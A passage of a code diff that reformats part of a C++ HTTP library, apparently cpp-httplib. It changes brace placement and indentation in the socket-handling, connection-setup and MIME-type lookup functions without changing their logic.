Error::Connection; + } + return Error::Connection; #endif } -inline bool is_socket_alive(socket_t sock) { - const auto val = detail::select_read(sock, 0, 0); - if (val == 0) { - return true; - } else if (val < 0 && errno == EBADF) { - return false; - } - char buf[1]; - return detail::read_socket(sock, &buf[0], sizeof(buf), MSG_PEEK) > 0; +inline bool is_socket_alive(socket_t sock) +{ + const auto val = detail::select_read(sock, 0, 0); + if (val == 0) { + return true; + } else if (val < 0 && errno == EBADF) { + return false; + } + char buf[1]; + return detail::read_socket(sock, &buf[0], sizeof(buf), MSG_PEEK) > 0; } -class SocketStream : public Stream { +class SocketStream : public Stream +{ public: - SocketStream(socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, - time_t write_timeout_sec, time_t write_timeout_usec); - ~SocketStream() override; + SocketStream(socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, + time_t write_timeout_sec, time_t write_timeout_usec); + ~SocketStream() override; - bool is_readable() const override; - bool is_writable() const override; - ssize_t read(char *ptr, size_t size) override; - ssize_t write(const char *ptr, size_t size) override; - void get_remote_ip_and_port(std::string &ip, int &port) const override; - void get_local_ip_and_port(std::string &ip, int &port) const override; - socket_t socket() const override; + bool is_readable() const override; + bool is_writable() const override; + ssize_t read(char *ptr, size_t size) override; + ssize_t write(const char *ptr, size_t size) override; + void get_remote_ip_and_port(std::string &ip, int &port) const override; + void get_local_ip_and_port(std::string &ip, int &port) const override; + socket_t socket() const override; private: - socket_t sock_; - time_t read_timeout_sec_; - time_t read_timeout_usec_; - time_t write_timeout_sec_; - time_t write_timeout_usec_; + socket_t sock_; + time_t read_timeout_sec_; + time_t read_timeout_usec_; + time_t write_timeout_sec_; + time_t write_timeout_usec_; - std::vector read_buff_; - size_t read_buff_off_ = 0; - size_t read_buff_content_size_ = 0; + std::vector read_buff_; + size_t read_buff_off_ = 0; + size_t read_buff_content_size_ = 0; - static const size_t read_buff_size_ = 1024l * 4; + static const size_t read_buff_size_ = 1024l * 4; }; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -class SSLSocketStream : public Stream { +class SSLSocketStream : public Stream +{ public: - SSLSocketStream(socket_t sock, SSL *ssl, time_t read_timeout_sec, - time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec); - ~SSLSocketStream() override; + SSLSocketStream(socket_t sock, SSL *ssl, time_t read_timeout_sec, + time_t read_timeout_usec, time_t write_timeout_sec, + time_t write_timeout_usec); + ~SSLSocketStream() override; - bool is_readable() const override; - bool is_writable() const override; - ssize_t read(char *ptr, size_t size) override; - ssize_t write(const char *ptr, size_t size) override; - void get_remote_ip_and_port(std::string &ip, int &port) const override; - void get_local_ip_and_port(std::string &ip, int &port) const override; - socket_t socket() const override; + bool is_readable() const override; + bool is_writable() const override; + ssize_t read(char *ptr, size_t size) override; + ssize_t write(const char *ptr, size_t size) override; + void get_remote_ip_and_port(std::string &ip, int &port) const override; + void get_local_ip_and_port(std::string &ip, int &port) const override; + socket_t socket() const override; private: - socket_t sock_; - SSL *ssl_; - time_t read_timeout_sec_; - time_t read_timeout_usec_; - time_t write_timeout_sec_; - time_t write_timeout_usec_; + socket_t sock_; + SSL *ssl_; + time_t read_timeout_sec_; + time_t read_timeout_usec_; + time_t write_timeout_sec_; + time_t write_timeout_usec_; }; #endif -inline bool keep_alive(socket_t sock, time_t keep_alive_timeout_sec) { - using namespace std::chrono; - auto start = steady_clock::now(); - while (true) { - auto val = select_read(sock, 0, 10000); - if (val < 0) { - return false; - } else if (val == 0) { - auto current = steady_clock::now(); - auto duration = duration_cast(current - start); - auto timeout = keep_alive_timeout_sec * 1000; - if (duration.count() > timeout) { return false; } - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - } else { - return true; +inline bool keep_alive(socket_t sock, time_t keep_alive_timeout_sec) +{ + using namespace std::chrono; + auto start = steady_clock::now(); + while (true) { + auto val = select_read(sock, 0, 10000); + if (val < 0) { + return false; + } else if (val == 0) { + auto current = steady_clock::now(); + auto duration = duration_cast(current - start); + auto timeout = keep_alive_timeout_sec * 1000; + if (duration.count() > timeout) { + return false; + } + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + } else { + return true; + } } - } } template inline bool process_server_socket_core(const std::atomic &svr_sock, socket_t sock, size_t keep_alive_max_count, - time_t keep_alive_timeout_sec, T callback) { - assert(keep_alive_max_count > 0); - auto ret = false; - auto count = keep_alive_max_count; - while (svr_sock != INVALID_SOCKET && count > 0 && - keep_alive(sock, keep_alive_timeout_sec)) { - auto close_connection = count == 1; - auto connection_closed = false; - ret = callback(close_connection, connection_closed); - if (!ret || connection_closed) { break; } - count--; - } - return ret; + time_t keep_alive_timeout_sec, T callback) +{ + assert(keep_alive_max_count > 0); + auto ret = false; + auto count = keep_alive_max_count; + while (svr_sock != INVALID_SOCKET && count > 0 && + keep_alive(sock, keep_alive_timeout_sec)) { + auto close_connection = count == 1; + auto connection_closed = false; + ret = callback(close_connection, connection_closed); + if (!ret || connection_closed) { + break; + } + count--; + } + return ret; } template @@ -3001,31 +3299,34 @@ process_server_socket(const std::atomic &svr_sock, socket_t sock, size_t keep_alive_max_count, time_t keep_alive_timeout_sec, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, T callback) { - return process_server_socket_core( - svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, - [&](bool close_connection, bool &connection_closed) { + time_t write_timeout_usec, T callback) +{ + return process_server_socket_core( + svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, + [&](bool close_connection, bool &connection_closed) { SocketStream strm(sock, read_timeout_sec, read_timeout_usec, write_timeout_sec, write_timeout_usec); return callback(strm, close_connection, connection_closed); - }); + }); } inline bool process_client_socket(socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, time_t write_timeout_usec, - std::function callback) { - SocketStream strm(sock, read_timeout_sec, read_timeout_usec, - write_timeout_sec, write_timeout_usec); - return callback(strm); + std::function callback) +{ + SocketStream strm(sock, read_timeout_sec, read_timeout_usec, + write_timeout_sec, write_timeout_usec); + return callback(strm); } -inline int shutdown_socket(socket_t sock) { +inline int shutdown_socket(socket_t sock) +{ #ifdef _WIN32 - return shutdown(sock, SD_BOTH); + return shutdown(sock, SD_BOTH); #else - return shutdown(sock, SHUT_RDWR); + return shutdown(sock, SHUT_RDWR); #endif } @@ -3033,176 +3334,192 @@ template socket_t create_socket(const std::string &host, const std::string &ip, int port, int address_family, int socket_flags, bool tcp_nodelay, SocketOptions socket_options, - BindOrConnect bind_or_connect) { - // Get address info - const char *node = nullptr; - struct addrinfo hints; - struct addrinfo *result; + BindOrConnect bind_or_connect) +{ + // Get address info + const char *node = nullptr; + struct addrinfo hints; + struct addrinfo *result; - memset(&hints, 0, sizeof(struct addrinfo)); - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = 0; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = 0; - if (!ip.empty()) { - node = ip.c_str(); - // Ask getaddrinfo to convert IP in c-string to address - hints.ai_family = AF_UNSPEC; - hints.ai_flags = AI_NUMERICHOST; - } else { - if (!host.empty()) { node = host.c_str(); } - hints.ai_family = address_family; - hints.ai_flags = socket_flags; - } + if (!ip.empty()) { + node = ip.c_str(); + // Ask getaddrinfo to convert IP in c-string to address + hints.ai_family = AF_UNSPEC; + hints.ai_flags = AI_NUMERICHOST; + } else { + if (!host.empty()) { + node = host.c_str(); + } + hints.ai_family = address_family; + hints.ai_flags = socket_flags; + } #ifndef _WIN32 - if (hints.ai_family == AF_UNIX) { - const auto addrlen = host.length(); - if (addrlen > sizeof(sockaddr_un::sun_path)) { return INVALID_SOCKET; } + if (hints.ai_family == AF_UNIX) { + const auto addrlen = host.length(); + if (addrlen > sizeof(sockaddr_un::sun_path)) { + return INVALID_SOCKET; + } - auto sock = socket(hints.ai_family, hints.ai_socktype, hints.ai_protocol); - if (sock != INVALID_SOCKET) { - sockaddr_un addr{}; - addr.sun_family = AF_UNIX; - std::copy(host.begin(), host.end(), addr.sun_path); + auto sock = socket(hints.ai_family, hints.ai_socktype, hints.ai_protocol); + if (sock != INVALID_SOCKET) { + sockaddr_un addr{}; + addr.sun_family = AF_UNIX; + std::copy(host.begin(), host.end(), addr.sun_path); - hints.ai_addr = reinterpret_cast(&addr); - hints.ai_addrlen = static_cast( - sizeof(addr) - sizeof(addr.sun_path) + addrlen); + hints.ai_addr = reinterpret_cast(&addr); + hints.ai_addrlen = static_cast( + sizeof(addr) - sizeof(addr.sun_path) + addrlen); - fcntl(sock, F_SETFD, FD_CLOEXEC); - if (socket_options) { socket_options(sock); } + fcntl(sock, F_SETFD, FD_CLOEXEC); + if (socket_options) { + socket_options(sock); + } - if (!bind_or_connect(sock, hints)) { - close_socket(sock); - sock = INVALID_SOCKET; - } + if (!bind_or_connect(sock, hints)) { + close_socket(sock); + sock = INVALID_SOCKET; + } + } + return sock; } - return sock; - } #endif - auto service = std::to_string(port); + auto service = std::to_string(port); - if (getaddrinfo(node, service.c_str(), &hints, &result)) { + if (getaddrinfo(node, service.c_str(), &hints, &result)) { #if defined __linux__ && !defined __ANDROID__ - res_init(); + res_init(); #endif - return INVALID_SOCKET; - } - - for (auto rp = result; rp; rp = rp->ai_next) { - // Create a socket -#ifdef _WIN32 - auto sock = - WSASocketW(rp->ai_family, rp->ai_socktype, rp->ai_protocol, nullptr, 0, - WSA_FLAG_NO_HANDLE_INHERIT | WSA_FLAG_OVERLAPPED); - /** - * Since the WSA_FLAG_NO_HANDLE_INHERIT is only supported on Windows 7 SP1 - * and above the socket creation fails on older Windows Systems. - * - * Let's try to create a socket the old way in this case. - * - * Reference: - * https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa - * - * WSA_FLAG_NO_HANDLE_INHERIT: - * This flag is supported on Windows 7 with SP1, Windows Server 2008 R2 with - * SP1, and later - * - */ - if (sock == INVALID_SOCKET) { - sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + return INVALID_SOCKET; } + + for (auto rp = result; rp; rp = rp->ai_next) { + // Create a socket +#ifdef _WIN32 + auto sock = + WSASocketW(rp->ai_family, rp->ai_socktype, rp->ai_protocol, nullptr, 0, + WSA_FLAG_NO_HANDLE_INHERIT | WSA_FLAG_OVERLAPPED); + /** + * Since the WSA_FLAG_NO_HANDLE_INHERIT is only supported on Windows 7 SP1 + * and above the socket creation fails on older Windows Systems. + * + * Let's try to create a socket the old way in this case. + * + * Reference: + * https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa + * + * WSA_FLAG_NO_HANDLE_INHERIT: + * This flag is supported on Windows 7 with SP1, Windows Server 2008 R2 with + * SP1, and later + * + */ + if (sock == INVALID_SOCKET) { + sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + } #else - auto sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + auto sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); #endif - if (sock == INVALID_SOCKET) { continue; } + if (sock == INVALID_SOCKET) { + continue; + } #ifndef _WIN32 - if (fcntl(sock, F_SETFD, FD_CLOEXEC) == -1) { - close_socket(sock); - continue; - } + if (fcntl(sock, F_SETFD, FD_CLOEXEC) == -1) { + close_socket(sock); + continue; + } #endif - if (tcp_nodelay) { - auto yes = 1; + if (tcp_nodelay) { + auto yes = 1; #ifdef _WIN32 - setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + reinterpret_cast(&yes), sizeof(yes)); #else - setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + reinterpret_cast(&yes), sizeof(yes)); #endif - } + } - if (socket_options) { socket_options(sock); } + if (socket_options) { + socket_options(sock); + } - if (rp->ai_family == AF_INET6) { - auto no = 0; + if (rp->ai_family == AF_INET6) { + auto no = 0; #ifdef _WIN32 - setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, - reinterpret_cast(&no), sizeof(no)); + setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, + reinterpret_cast(&no), sizeof(no)); #else - setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, - reinterpret_cast(&no), sizeof(no)); + setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, + reinterpret_cast(&no), sizeof(no)); #endif + } + + // bind or connect + if (bind_or_connect(sock, *rp)) { + freeaddrinfo(result); + return sock; + } + + close_socket(sock); } - // bind or connect - if (bind_or_connect(sock, *rp)) { - freeaddrinfo(result); - return sock; - } - - close_socket(sock); - } - - freeaddrinfo(result); - return INVALID_SOCKET; + freeaddrinfo(result); + return INVALID_SOCKET; } -inline void set_nonblocking(socket_t sock, bool nonblocking) { +inline void set_nonblocking(socket_t sock, bool nonblocking) +{ #ifdef _WIN32 - auto flags = nonblocking ? 1UL : 0UL; - ioctlsocket(sock, FIONBIO, &flags); + auto flags = nonblocking ? 1UL : 0UL; + ioctlsocket(sock, FIONBIO, &flags); #else - auto flags = fcntl(sock, F_GETFL, 0); - fcntl(sock, F_SETFL, - nonblocking ? (flags | O_NONBLOCK) : (flags & (~O_NONBLOCK))); + auto flags = fcntl(sock, F_GETFL, 0); + fcntl(sock, F_SETFL, + nonblocking ? (flags | O_NONBLOCK) : (flags & (~O_NONBLOCK))); #endif } -inline bool is_connection_error() { +inline bool is_connection_error() +{ #ifdef _WIN32 - return WSAGetLastError() != WSAEWOULDBLOCK; + return WSAGetLastError() != WSAEWOULDBLOCK; #else - return errno != EINPROGRESS; + return errno != EINPROGRESS; #endif } -inline bool bind_ip_address(socket_t sock, const std::string &host) { - struct addrinfo hints; - struct addrinfo *result; +inline bool bind_ip_address(socket_t sock, const std::string &host) +{ + struct addrinfo hints; + struct addrinfo *result; - memset(&hints, 0, sizeof(struct addrinfo)); - hints.ai_family = AF_UNSPEC; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = 0; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = 0; - if (getaddrinfo(host.c_str(), "0", &hints, &result)) { return false; } - - auto ret = false; - for (auto rp = result; rp; rp = rp->ai_next) { - const auto &ai = *rp; - if (!::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) { - ret = true; - break; + if (getaddrinfo(host.c_str(), "0", &hints, &result)) { + return false; } - } - freeaddrinfo(result); - return ret; + auto ret = false; + for (auto rp = result; rp; rp = rp->ai_next) { + const auto &ai = *rp; + if (!::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) { + ret = true; + break; + } + } + + freeaddrinfo(result); + return ret; } #if !defined _WIN32 && !defined ANDROID && !defined _AIX && !defined __MVS__ @@ -3210,41 +3527,42 @@ inline bool bind_ip_address(socket_t sock, const std::string &host) { #endif #ifdef USE_IF2IP -inline std::string if2ip(int address_family, const std::string &ifn) { - struct ifaddrs *ifap; - getifaddrs(&ifap); - std::string addr_candidate; - for (auto ifa = ifap; ifa; ifa = ifa->ifa_next) { - if (ifa->ifa_addr && ifn == ifa->ifa_name && - (AF_UNSPEC == address_family || - ifa->ifa_addr->sa_family == address_family)) { - if (ifa->ifa_addr->sa_family == AF_INET) { - auto sa = reinterpret_cast(ifa->ifa_addr); - char buf[INET_ADDRSTRLEN]; - if (inet_ntop(AF_INET, &sa->sin_addr, buf, INET_ADDRSTRLEN)) { - freeifaddrs(ifap); - return std::string(buf, INET_ADDRSTRLEN); - } - } else if (ifa->ifa_addr->sa_family == AF_INET6) { - auto sa = reinterpret_cast(ifa->ifa_addr); - if (!IN6_IS_ADDR_LINKLOCAL(&sa->sin6_addr)) { - char buf[INET6_ADDRSTRLEN] = {}; - if (inet_ntop(AF_INET6, &sa->sin6_addr, buf, INET6_ADDRSTRLEN)) { - // equivalent to mac's IN6_IS_ADDR_UNIQUE_LOCAL - auto s6_addr_head = sa->sin6_addr.s6_addr[0]; - if (s6_addr_head == 0xfc || s6_addr_head == 0xfd) { - addr_candidate = std::string(buf, INET6_ADDRSTRLEN); - } else { - freeifaddrs(ifap); - return std::string(buf, INET6_ADDRSTRLEN); +inline std::string if2ip(int address_family, const std::string &ifn) +{ + struct ifaddrs *ifap; + getifaddrs(&ifap); + std::string addr_candidate; + for (auto ifa = ifap; ifa; ifa = ifa->ifa_next) { + if (ifa->ifa_addr && ifn == ifa->ifa_name && + (AF_UNSPEC == address_family || + ifa->ifa_addr->sa_family == address_family)) { + if (ifa->ifa_addr->sa_family == AF_INET) { + auto sa = reinterpret_cast(ifa->ifa_addr); + char buf[INET_ADDRSTRLEN]; + if (inet_ntop(AF_INET, &sa->sin_addr, buf, INET_ADDRSTRLEN)) { + freeifaddrs(ifap); + return std::string(buf, INET_ADDRSTRLEN); + } + } else if (ifa->ifa_addr->sa_family == AF_INET6) { + auto sa = reinterpret_cast(ifa->ifa_addr); + if (!IN6_IS_ADDR_LINKLOCAL(&sa->sin6_addr)) { + char buf[INET6_ADDRSTRLEN] = {}; + if (inet_ntop(AF_INET6, &sa->sin6_addr, buf, INET6_ADDRSTRLEN)) { + // equivalent to mac's IN6_IS_ADDR_UNIQUE_LOCAL + auto s6_addr_head = sa->sin6_addr.s6_addr[0]; + if (s6_addr_head == 0xfc || s6_addr_head == 0xfd) { + addr_candidate = std::string(buf, INET6_ADDRSTRLEN); + } else { + freeifaddrs(ifap); + return std::string(buf, INET6_ADDRSTRLEN); + } + } + } } - } } - } } - } - freeifaddrs(ifap); - return addr_candidate; + freeifaddrs(ifap); + return addr_candidate; } #endif @@ -3253,18 +3571,22 @@ inline socket_t create_client_socket( int address_family, bool tcp_nodelay, SocketOptions socket_options, time_t connection_timeout_sec, time_t connection_timeout_usec, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, const std::string &intf, Error &error) { - auto sock = create_socket( - host, ip, port, address_family, 0, tcp_nodelay, std::move(socket_options), - [&](socket_t sock2, struct addrinfo &ai) -> bool { - if (!intf.empty()) { + time_t write_timeout_usec, const std::string &intf, Error &error) +{ + auto sock = create_socket( + host, ip, port, address_family, 0, tcp_nodelay, std::move(socket_options), + [&](socket_t sock2, struct addrinfo &ai) -> bool { + if (!intf.empty()) + { #ifdef USE_IF2IP - auto ip_from_if = if2ip(address_family, intf); - if (ip_from_if.empty()) { ip_from_if = intf; } - if (!bind_ip_address(sock2, ip_from_if)) { - error = Error::BindIPAddress; - return false; - } + auto ip_from_if = if2ip(address_family, intf); + if (ip_from_if.empty()) { + ip_from_if = intf; + } + if (!bind_ip_address(sock2, ip_from_if)) { + error = Error::BindIPAddress; + return false; + } #endif } @@ -3273,140 +3595,152 @@ inline socket_t create_client_socket( auto ret = ::connect(sock2, ai.ai_addr, static_cast(ai.ai_addrlen)); - if (ret < 0) { - if (is_connection_error()) { - error = Error::Connection; - return false; - } - error = wait_until_socket_is_ready(sock2, connection_timeout_sec, - connection_timeout_usec); - if (error != Error::Success) { return false; } + if (ret < 0) + { + if (is_connection_error()) { + error = Error::Connection; + return false; + } + error = wait_until_socket_is_ready(sock2, connection_timeout_sec, + connection_timeout_usec); + if (error != Error::Success) { + return false; + } } set_nonblocking(sock2, false); { #ifdef _WIN32 - auto timeout = static_cast(read_timeout_sec * 1000 + - read_timeout_usec / 1000); - setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); + auto timeout = static_cast(read_timeout_sec * 1000 + + read_timeout_usec / 1000); + setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); #else - timeval tv; - tv.tv_sec = static_cast(read_timeout_sec); - tv.tv_usec = static_cast(read_timeout_usec); - setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&tv), sizeof(tv)); + timeval tv; + tv.tv_sec = static_cast(read_timeout_sec); + tv.tv_usec = static_cast(read_timeout_usec); + setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&tv), sizeof(tv)); #endif } { #ifdef _WIN32 - auto timeout = static_cast(write_timeout_sec * 1000 + - write_timeout_usec / 1000); - setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); + auto timeout = static_cast(write_timeout_sec * 1000 + + write_timeout_usec / 1000); + setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); #else - timeval tv; - tv.tv_sec = static_cast(write_timeout_sec); - tv.tv_usec = static_cast(write_timeout_usec); - setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&tv), sizeof(tv)); + timeval tv; + tv.tv_sec = static_cast(write_timeout_sec); + tv.tv_usec = static_cast(write_timeout_usec); + setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&tv), sizeof(tv)); #endif } error = Error::Success; return true; - }); + }); - if (sock != INVALID_SOCKET) { - error = Error::Success; - } else { - if (error == Error::Success) { error = Error::Connection; } - } + if (sock != INVALID_SOCKET) { + error = Error::Success; + } else { + if (error == Error::Success) { + error = Error::Connection; + } + } - return sock; + return sock; } inline bool get_ip_and_port(const struct sockaddr_storage &addr, - socklen_t addr_len, std::string &ip, int &port) { - if (addr.ss_family == AF_INET) { - port = ntohs(reinterpret_cast(&addr)->sin_port); - } else if (addr.ss_family == AF_INET6) { - port = - ntohs(reinterpret_cast(&addr)->sin6_port); - } else { - return false; - } - - std::array ipstr{}; - if (getnameinfo(reinterpret_cast(&addr), addr_len, - ipstr.data(), static_cast(ipstr.size()), nullptr, - 0, NI_NUMERICHOST)) { - return false; - } - - ip = ipstr.data(); - return true; -} - -inline void get_local_ip_and_port(socket_t sock, std::string &ip, int &port) { - struct sockaddr_storage addr; - socklen_t addr_len = sizeof(addr); - if (!getsockname(sock, reinterpret_cast(&addr), - &addr_len)) { - get_ip_and_port(addr, addr_len, ip, port); - } -} - -inline void get_remote_ip_and_port(socket_t sock, std::string &ip, int &port) { - struct sockaddr_storage addr; - socklen_t addr_len = sizeof(addr); - - if (!getpeername(sock, reinterpret_cast(&addr), - &addr_len)) { -#ifndef _WIN32 - if (addr.ss_family == AF_UNIX) { -#if defined(__linux__) - struct ucred ucred; - socklen_t len = sizeof(ucred); - if (getsockopt(sock, SOL_SOCKET, SO_PEERCRED, &ucred, &len) == 0) { - port = ucred.pid; - } -#elif defined(SOL_LOCAL) && defined(SO_PEERPID) // __APPLE__ - pid_t pid; - socklen_t len = sizeof(pid); - if (getsockopt(sock, SOL_LOCAL, SO_PEERPID, &pid, &len) == 0) { - port = pid; - } -#endif - return; + socklen_t addr_len, std::string &ip, int &port) +{ + if (addr.ss_family == AF_INET) { + port = ntohs(reinterpret_cast(&addr)->sin_port); + } else if (addr.ss_family == AF_INET6) { + port = + ntohs(reinterpret_cast(&addr)->sin6_port); + } else { + return false; } + + std::array ipstr{}; + if (getnameinfo(reinterpret_cast(&addr), addr_len, + ipstr.data(), static_cast(ipstr.size()), nullptr, + 0, NI_NUMERICHOST)) { + return false; + } + + ip = ipstr.data(); + return true; +} + +inline void get_local_ip_and_port(socket_t sock, std::string &ip, int &port) +{ + struct sockaddr_storage addr; + socklen_t addr_len = sizeof(addr); + if (!getsockname(sock, reinterpret_cast(&addr), + &addr_len)) { + get_ip_and_port(addr, addr_len, ip, port); + } +} + +inline void get_remote_ip_and_port(socket_t sock, std::string &ip, int &port) +{ + struct sockaddr_storage addr; + socklen_t addr_len = sizeof(addr); + + if (!getpeername(sock, reinterpret_cast(&addr), + &addr_len)) { +#ifndef _WIN32 + if (addr.ss_family == AF_UNIX) { +#if defined(__linux__) + struct ucred ucred; + socklen_t len = sizeof(ucred); + if (getsockopt(sock, SOL_SOCKET, SO_PEERCRED, &ucred, &len) == 0) { + port = ucred.pid; + } +#elif defined(SOL_LOCAL) && defined(SO_PEERPID) // __APPLE__ + pid_t pid; + socklen_t len = sizeof(pid); + if (getsockopt(sock, SOL_LOCAL, SO_PEERPID, &pid, &len) == 0) { + port = pid; + } #endif - get_ip_and_port(addr, addr_len, ip, port); - } + return; + } +#endif + get_ip_and_port(addr, addr_len, ip, port); + } } inline constexpr unsigned int str2tag_core(const char *s, size_t l, - unsigned int h) { - return (l == 0) - ? h - : str2tag_core( - s + 1, l - 1, - // Unsets the 6 high bits of h, therefore no overflow happens - (((std::numeric_limits::max)() >> 6) & - h * 33) ^ - static_cast(*s)); + unsigned int h) +{ + return (l == 0) + ? h + : str2tag_core( + s + 1, l - 1, + // Unsets the 6 high bits of h, therefore no overflow happens + (((std::numeric_limits::max)() >> 6) & + h * 33) ^ + static_cast(*s)); } -inline unsigned int str2tag(const std::string &s) { - return str2tag_core(s.data(), s.size(), 0); +inline unsigned int str2tag(const std::string &s) +{ + return str2tag_core(s.data(), s.size(), 0); } -namespace udl { +namespace udl +{ -inline constexpr unsigned int operator"" _t(const char *s, size_t l) { - return str2tag_core(s, l, 0); +inline constexpr unsigned int operator"" _t(const char *s, size_t l) +{ + return str2tag_core(s, l, 0); } } // namespace udl @@ -3414,1322 +3748,1606 @@ inline constexpr unsigned int operator"" _t(const char *s, size_t l) { inline std::string find_content_type(const std::string &path, const std::map &user_data, - const std::string &default_content_type) { - auto ext = file_extension(path); + const std::string &default_content_type) +{ + auto ext = file_extension(path); - auto it = user_data.find(ext); - if (it != user_data.end()) { return it->second; } + auto it = user_data.find(ext); + if (it != user_data.end()) { + return it->second; + } - using udl::operator""_t; + using udl::operator""_t; - switch (str2tag(ext)) { - default: return default_content_type; + switch (str2tag(ext)) { + default: + return default_content_type; - case "css"_t: return "text/css"; - case "csv"_t: return "text/csv"; - case "htm"_t: - case "html"_t: return "text/html"; - case "js"_t: - case "mjs"_t: return "text/javascript"; - case "txt"_t: return "text/plain"; - case "vtt"_t: return "text/vtt"; + case "css"_t: + return "text/css"; + case "csv"_t: + return "text/csv"; + case "htm"_t: + case "html"_t: + return "text/html"; + case "js"_t: + case "mjs"_t: + return "text/javascript"; + case "txt"_t: + return "text/plain"; + case "vtt"_t: + return "text/vtt"; - case "apng"_t: return "image/apng"; - case "avif"_t: return "image/avif"; - case "bmp"_t: return "image/bmp"; - case "gif"_t: return "image/gif"; - case "png"_t: return "image/png"; - case "svg"_t: return "image/svg+xml"; - case "webp"_t: return "image/webp"; - case "ico"_t: return "image/x-icon"; - case "tif"_t: return "image/tiff"; - case "tiff"_t: return "image/tiff"; - case "jpg"_t: - case "jpeg"_t: return "image/jpeg"; + case "apng"_t: + return "image/apng"; + case "avif"_t: + return "image/avif"; + case "bmp"_t: + return "image/bmp"; + case "gif"_t: + return "image/gif"; + case "png"_t: + return "image/png"; + case "svg"_t: + return "image/svg+xml"; + case "webp"_t: + return "image/webp"; + case "ico"_t: + return "image/x-icon"; + case "tif"_t: + return "image/tiff"; + case "tiff"_t: + return "image/tiff"; + case "jpg"_t: + case "jpeg"_t: + return "image/jpeg"; - case "mp4"_t: return "video/mp4"; - case "mpeg"_t: return "video/mpeg"; - case "webm"_t: return "video/webm"; + case "mp4"_t: + return "video/mp4"; + case "mpeg"_t: + return "video/mpeg"; + case "webm"_t: + return "video/webm"; - case "mp3"_t: return "audio/mp3"; - case "mpga"_t: return "audio/mpeg"; - case "weba"_t: return "audio/webm"; - case "wav"_t: return "audio/wave"; + case "mp3"_t: + return "audio/mp3"; + case "mpga"_t: + return "audio/mpeg"; + case "weba"_t: + return "audio/webm"; + case "wav"_t: + return "audio/wave"; - case "otf"_t: return "font/otf"; - case "ttf"_t: return "font/ttf"; - case "woff"_t: return "font/woff"; - case "woff2"_t: return "font/woff2"; + case "otf"_t: + return "font/otf"; + case "ttf"_t: + return "font/ttf"; + case "woff"_t: + return "font/woff"; + case "woff2"_t: + return "font/woff2"; - case "7z"_t: return "application/x-7z-compressed"; - case "atom"_t: return "application/atom+xml"; - case "pdf"_t: return "application/pdf"; - case "json"_t: return "application/json"; - case "rss"_t: return "application/rss+xml"; - case "tar"_t: return "application/x-tar"; - case "xht"_t: - case "xhtml"_t: return "application/xhtml+xml"; - case "xslt"_t: return "application/xslt+xml"; - case "xml"_t: return "application/xml"; - case "gz"_t: return "application/gzip"; - case "zip"_t: return "application/zip"; - case "wasm"_t: return "application/wasm"; - } + case "7z"_t: + return "application/x-7z-compressed"; + case "atom"_t: + return "application/atom+xml"; + case "pdf"_t: + return "application/pdf"; + case "json"_t: + return "application/json"; + case "rss"_t: + return "application/rss+xml"; + case "tar"_t: + return "application/x-tar"; + case "xht"_t: + case "xhtml"_t: + return "application/xhtml+xml"; + case "xslt"_t: + return "application/xslt+xml"; + case "xml"_t: + return "application/xml"; + case "gz"_t: + return "application/gzip"; + case "zip"_t: + return "application/zip"; + case "wasm"_t: + return "application/wasm"; + } } -inline bool can_compress_content_type(const std::string &content_type) { - using udl::operator""_t; +inline bool can_compress_content_type(const std::string &content_type) +{ + using udl::operator""_t; - auto tag = str2tag(content_type); + auto tag = str2tag(content_type); - switch (tag) { - case "image/svg+xml"_t: - case "application/javascript"_t: - case "application/json"_t: - case "application/xml"_t: - case "application/protobuf"_t: - case "application/xhtml+xml"_t: return true; + switch (tag) { + case "image/svg+xml"_t: + case "application/javascript"_t: + case "application/json"_t: + case "application/xml"_t: + case "application/protobuf"_t: + case "application/xhtml+xml"_t: + return true; - default: - return !content_type.rfind("text/", 0) && tag != "text/event-stream"_t; - } + default: + return !content_type.rfind("text/", 0) && tag != 